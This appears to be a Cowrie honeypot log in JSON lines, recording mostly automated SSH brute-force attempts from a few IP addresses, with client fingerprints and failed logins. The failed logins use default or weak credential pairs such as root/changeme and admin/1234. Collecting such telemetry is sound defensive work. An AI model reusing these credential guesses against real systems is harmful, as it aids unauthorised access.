{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55146,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c03208615b","protocol":"ssh","message":"New connection: 45.156.87.147:55146 (10.17.0.5:22) [session: 24c03208615b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:06.629260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:06.633925Z","src_ip":"45.156.87.147","session":"24c03208615b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:06.719561Z","src_ip":"45.156.87.147","session":"24c03208615b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123","message":"login attempt [guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:06.983333Z","src_ip":"45.156.87.147","session":"24c03208615b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:08.068139Z","src_ip":"45.156.87.147","session":"24c03208615b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42370,"dst_ip":"10.17.0.5","dst_port":22,"session":"d353c4eb6c20","protocol":"ssh","message":"New connection: 45.156.87.147:42370 (10.17.0.5:22) [session: d353c4eb6c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:12.715045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:12.718858Z","src_ip":"45.156.87.147","session":"d353c4eb6c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:12.805387Z","src_ip":"45.156.87.147","session":"d353c4eb6c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:13.051960Z","src_ip":"45.156.87.147","session":"d353c4eb6c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:14.138267Z","src_ip":"45.156.87.147","session":"d353c4eb6c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"e942d5245fb9","protocol":"ssh","message":"New connection: 45.156.87.147:42408 (10.17.0.5:22) [session: e942d5245fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:18.805892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:18.811431Z","src_ip":"45.156.87.147","session":"e942d5245fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:18.893352Z","src_ip":"45.156.87.147","session":"e942d5245fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:19.153686Z","src_ip":"45.156.87.147","session":"e942d5245fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da55b445b60","protocol":"telnet","message":"New connection: 172.81.62.90:54054 (159.203.135.109:23) [session: 9da55b445b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:19.553518Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:20.241143Z","src_ip":"45.156.87.147","session":"e942d5245fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54560,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c3f1eb05f52","protocol":"ssh","message":"New connection: 45.156.87.147:54560 (10.17.0.5:22) [session: 8c3f1eb05f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:24.840886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:24.847600Z","src_ip":"45.156.87.147","session":"8c3f1eb05f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:24.941904Z","src_ip":"45.156.87.147","session":"8c3f1eb05f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:25.216272Z","src_ip":"45.156.87.147","session":"8c3f1eb05f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:26.302238Z","src_ip":"45.156.87.147","session":"8c3f1eb05f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33092,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e320707be7a","protocol":"telnet","message":"New connection: 172.81.62.90:33092 (159.203.135.109:23) [session: 3e320707be7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:27.264688Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36002,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f865aa9f661","protocol":"ssh","message":"New connection: 45.156.87.147:36002 (10.17.0.5:22) [session: 7f865aa9f661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:30.956881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:30.962177Z","src_ip":"45.156.87.147","session":"7f865aa9f661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:31.039819Z","src_ip":"45.156.87.147","session":"7f865aa9f661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:31.365878Z","src_ip":"45.156.87.147","session":"7f865aa9f661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:32.449997Z","src_ip":"45.156.87.147","session":"7f865aa9f661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.024664878845215,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:34.207950Z","src_ip":"128.199.8.54","session":"4d5c98c6ee88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36016,"dst_ip":"10.17.0.5","dst_port":22,"session":"7422afe5a8e2","protocol":"ssh","message":"New connection: 45.156.87.147:36016 (10.17.0.5:22) [session: 7422afe5a8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:37.002563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:37.006231Z","src_ip":"45.156.87.147","session":"7422afe5a8e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:37.091665Z","src_ip":"45.156.87.147","session":"7422afe5a8e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:37.461857Z","src_ip":"45.156.87.147","session":"7422afe5a8e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":48164,"dst_ip":"10.17.0.5","dst_port":22,"session":"15378a6b2772","protocol":"ssh","message":"New connection: 8.219.200.1:48164 (10.17.0.5:22) [session: 15378a6b2772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:38.450956Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:38.548247Z","src_ip":"45.156.87.147","session":"7422afe5a8e2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:39.215083Z","src_ip":"8.219.200.1","session":"15378a6b2772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:39.456600Z","src_ip":"8.219.200.1","session":"15378a6b2772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:41.843775Z","src_ip":"8.219.200.1","session":"15378a6b2772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:43.095248Z","src_ip":"8.219.200.1","session":"15378a6b2772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60376,"dst_ip":"10.17.0.5","dst_port":22,"session":"37bbe6c48a65","protocol":"ssh","message":"New connection: 45.156.87.147:60376 (10.17.0.5:22) [session: 37bbe6c48a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:43.514028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:43.517972Z","src_ip":"45.156.87.147","session":"37bbe6c48a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:43.603449Z","src_ip":"45.156.87.147","session":"37bbe6c48a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:43.850233Z","src_ip":"45.156.87.147","session":"37bbe6c48a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:44.937030Z","src_ip":"45.156.87.147","session":"37bbe6c48a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.97165060043335,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:46.497050Z","src_ip":"128.199.8.54","session":"f7f62b47e127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55504,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e26ad87d78a","protocol":"telnet","message":"New connection: 172.81.62.90:55504 (159.203.135.109:23) [session: 7e26ad87d78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:47.791505Z"}
